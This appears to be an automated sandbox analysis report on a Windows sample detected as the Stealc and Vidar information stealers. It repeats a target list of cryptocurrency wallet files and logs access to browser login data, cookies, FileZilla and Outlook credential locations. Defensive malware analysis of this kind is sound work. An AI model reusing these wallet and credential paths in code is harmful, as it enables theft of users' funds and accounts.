Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.e

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6024, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2517910143.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2061910174.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6024, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	2 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	24 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	44%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
plus.l.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-4.corp.google.com/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
